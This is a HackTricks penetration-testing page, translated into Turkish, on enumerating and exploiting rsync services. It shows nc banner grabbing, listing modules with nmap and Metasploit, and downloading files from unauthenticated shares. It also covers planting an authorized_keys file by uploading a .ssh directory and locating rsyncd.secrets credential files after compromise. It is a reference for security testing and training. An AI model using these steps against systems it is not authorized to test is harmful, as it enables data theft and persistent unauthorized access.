hacktricks/src/network-services-pentesting/873-pentesting-rsync.md

88 lines
4.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 873 - Pentesting Rsync
{{#include ../banners/hacktricks-training.md}}
## **Temel Bilgiler**
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve [ağ](https://en.wikipedia.org/wiki/Computer_network) [bilgisayarları](https://en.wikipedia.org/wiki/Computer) arasında [dosyaları](https://en.wikipedia.org/wiki/Computer_file) verimli bir şekilde [aktarmak](https://en.wikipedia.org/wiki/File_transfer) ve [senkronize etmek](https://en.wikipedia.org/wiki/File_synchronization) için bir yardımcı programdır; dosyaların [değiştirilme zamanlarını](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) ve boyutlarını karşılaştırarak çalışır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating_system) bulunur. Rsync algoritması, [delta kodlama](https://en.wikipedia.org/wiki/Delta_encoding) türlerinden biridir ve ağ kullanımını minimize etmek için kullanılır. [Zlib](https://en.wikipedia.org/wiki/Zlib) ek [veri sıkıştırması](https://en.wikipedia.org/wiki/Data_compression) için kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) ve [SSH](https://en.wikipedia.org/wiki/Secure_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) güvenlik için kullanılabilir.
**Varsayılan port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Enumeration
### Banner & Manual communication
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Paylaşılan Klasörlerin Sayımı**
**Rsync modülleri**, **şifrelerle korunabilecek** **dizin paylaşımları** olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediklerini kontrol etmek için aşağıdaki komutlar kullanılır:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Dikkat edin ki bazı paylaşımlar listede görünmeyebilir, bu da onları gizliyor olabilir. Ayrıca, bazı paylaşımlara erişim belirli **kimlik bilgileri** ile kısıtlanmış olabilir ve bu, **"Erişim Engellendi"** mesajı ile belirtilir.
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
### Manuel Rsync Kullanımı
Bir **modül listesi** elde edildikten sonra, eylemler kimlik doğrulamanın gerekip gerekmediğine bağlıdır. Kimlik doğrulama olmadan, bir paylaşılan klasörden yerel bir dizine dosyaları **listelemek** ve **kopyalamak** için:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Bu işlem **dosyaları özyinelemeli olarak aktarır**, niteliklerini ve izinlerini korur.
**Kimlik bilgileri** ile, paylaşılan bir klasörden listeleme ve indirme aşağıdaki gibi yapılabilir; burada bir şifre istemi görünecektir:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
İçerik **yüklemek** için, erişim için bir _**authorized_keys**_ dosyası gibi, şunu kullanın:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Bu dosyada, bir _secrets file_ parametresi **kullanıcı adları ve şifreler** içeren bir dosyaya işaret edebilir rsyncd kimlik doğrulaması için.
## Referanslar
- [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{{#include ../banners/hacktricks-training.md}}